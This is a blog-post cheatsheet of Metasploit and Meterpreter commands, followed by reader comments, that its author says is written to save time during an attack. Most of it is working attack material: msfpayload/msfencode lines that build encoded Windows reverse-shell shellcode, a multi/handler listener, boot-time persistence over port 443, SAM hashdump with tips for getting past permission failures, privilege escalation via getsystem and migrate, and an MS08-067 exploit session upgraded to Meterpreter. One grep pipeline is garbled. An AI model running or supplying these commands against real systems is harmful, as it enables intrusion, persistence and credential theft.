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Metasploit and Meterpreter - a cheatsheet

This is a work in progress, additions, suggestions and constructive feedback are welcome.

The purpose of these cheatsheets is to, essentially, save time during an attack.

Metasploit Framework - Payload Encoding

List all available payloads and search for windows reverse tcp shells *msfpayload*

```
-l | grep windows | grep shell | grep reverse | tcp
```

List available encoders

```
msfencode -l
```

Reverse self-contained (not staged) command shell: 341 bytes

```
msfpayload windows/shell_reverse_tcp LHOST=192.168.6.1 R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\x90' -t c
```

```
msfpayload windows/shell_reverse_tcp LHOST=192.168.6.1 R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\x90' -t c
```

Windows Command Shell, reverse Ordinal TCP Stager (Np NX or Win7)

Use msf multi/handler to listen and upload remainder of the shellcode (stage 2)

```
msfpayload windows/shell/reverse_ord_tcp LHOST=192.168.6.1 R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\x90' -t c
```

Generic Syntax

```
msfpayload <payload> <options> <output> | .msfencode -e <encoder> -b <bad bytes> -t <output format>
```

Metasploit Framework and Databases

Setting up the database

```
msf> db_driver mysql
```

```
msf> db_connect user:password@host/database
```

```
msf> db_status
```

Importing external scan results into the database

Importing - Nmap scans into the MSF database

```
msf> db_import /path/filename.xml
```

(keep in mind externally scanning and importing xml results can be faster than executing nmap within msf (below))

Import - Nessus scans into the MSF database

```
msf> db_import /path/filename.nessus
```

Import - NeXpose scans into the MSF database

```
msf> db_import /path/filename.xml
```

Running an Nmap scan within MSF to add to the database

```
msf> db_nmap -sS -A <hosts>
```

or

```
msf> db_nmap -sSV -O -PN --send-ip <hosts>
```

Running NeXpose from within MSF

```
msf> load nexpose
```

```
msf> nexpose_connect username:password@host[:port]
```

```
msf> nexpose_scan
```

Running Nessus from within MSF

```
msf> load nessus
```

```
msf> nessus_connect username:password@host[:port]
```

```
msf> nessus_policy_list
```

```
msf> nessus_scan_new
```

```
msf> nessus_scan_status
```

```
msf> nessus_report_list
```

```
msf> nessus_report_get
```

Retrieving data from the database from within MSF

List of discovered services

```
msf> db_services
```

or

List of discovered hosts

```
msf> db_hosts
```

or

List of discovered hosts with additional columns "address" and "operating system"

```
msf> db_hosts -c address,os_flavor
```

or

List of discovered vulnerabilities (e.g. as imported from vulnerability scanner like nessus)

```
msf> db_vulns
```

Retrieving data from the database from within MySQL

Retrieve hosts and associated services: `mysql> select`

```
address,hosts.name,os_name,os_flavor,os_sp,hosts.updated_at,port,proto,services.name,service
s.info from hosts,services where hosts.id=services.host_id;
```

Retrieve matching 'pc21-97.*' hosts and associated services:

```
mysql> select
address,hosts.name,os_name,os_flavor,os_sp,hosts.updated_at,port,proto,services.name,service
s.info from hosts,services where hosts.name LIKE 'pc21-97.%' and hosts.id=services.host_id;
```

Retrieve matching '*.97' hosts and associated services:

```
mysql> select
address,hosts.name,os_name,os_flavor,os_sp,hosts.updated_at,port,proto,services.name,service
s.info from hosts,services where hosts.address LIKE '%.97' and hosts.id=services.host_id;
```

Service Scanners - SSH Server Banner Scanner

```
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24
msf auxiliary(ssh_version) > set THREADS 20
msf auxiliary(ssh_version) > run
[*] 192.168.1.22 :22, SSH server version: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
```

Service Scanners - MSSQL Scanner

```
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0/24
msf auxiliary(mssql_ping) > set THREADS 20
msf auxiliary(mssql_ping) > run
[*] 192.168.1.143 SQL Server information for :
[*] 192.168.1.143 ServerName = V-XPSP2-BARE
[*] 192.168.1.143 InstanceName = SQLEXPRESS
[*] 192.168.1.143 IsClustered = No
[*] 192.168.1.143 Version = 10.0.1600.22
[*] 192.168.1.143 tcp = 1433
Service Scanners - SMB Version Scanner
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS
msf auxiliary(smb_version) > run
[*] 192.168.1.143 is running Windows XP Service Pack 2 (language: English)
(name:HOSTNAME) (domain:WORKGROUP)
```

Service Scanners - SNMP login scanner

```
msf> use auxiliary/scanner/snmp/snmp_login
```

Meterpreter Scripts - Persistence

```
meterpreter > run persistence -X -i 50 -p 443 -r
at boot time (-X), interval seconds (-i), port (-p 443) and reverse (-r)
msf> use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 192.168.1.1
msf exploit(handler) > exploit
[*] Meterpreter session 2 opened (:443 -> :1120)
```

Metasploit Meterpreter Post Exploitation Modules

Hashdump - The 'hashdump' post module will dump the contents of the SAM database. `meterpreter > run post/windows/gather/hashdump` or `meterpreter > hashdump`
Occasionally, the effective process does not have access or permission

to retrieve the hashes - even if the meterpreter running as a SYSTEM or ADMINISTRATOR user.

Access can sometimes be achieved by ensuring all permissions are granted to the process, migrating to a process spawned by a SYSTEM user or in the case of x64 systems, making sure that the running process is natively x64 bit (e.g. notepad.exe) and not compatible 32 bit.

```
meterpreter > hashdump
```

```
[*] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
```

List running processes and owners (where visible by the current user)

```
meterpreter > ps
```

Get system user if necessary and if possible

```
meterpreter > getsystem
```

Get all missing/available privileges for the current process

```
meterpreter > getprivs
```

Migrate to new process and attempt again

```
meterpreter > migrate
```

Meterpreter Scripts - System Scraper

```
meterpreter > run scraper
```

Upgrading command shell to meterpreter shell

```
msf > use windows/smb/ms08_067_netapi
```

```
... ..
```

```
msf exploit(ms08_067_netapi) > exploit -z
```

```
... ..
```

```
[*] Command shell session 1 opened (:8080 -> :1032)
```

```
[*] Session 1 created in the background.
```

```
msf exploit(ms08_067_netapi) > sessions -u 1
```

```
... ..
```

```
[*] Meterpreter session 2 opened (:8080 -> :1044)
```

```
msf exploit(ms08_067_netapi) > sessions -i 2
```

References include:

<http://nostarch.com/metasploit> [<http://nostarch.com/metasploit>]

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Hi Jordan,

Very glad you like them. It was useful for getting my head into gear for taking PWB and other uses. Everything here is useless without knowledge on appropriate application, of course.

Most of the commands/entries were tested before inclusion, but there are some here and there that were not fully tested (e.g. all vnc registry entries).

Your mileage may vary but I will try to keep these up-to-date as I play with things. References are included also where possible and there's no point in me duplicating others awesome work (i.e. g0tmi1k's sheets.) Tag: cheetsheet added.

Thanks for your feedback!

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Nice work man. Keep it up,

actually this video is also good. I mean i learned lots things about meterpreter.

Maybe you like it.

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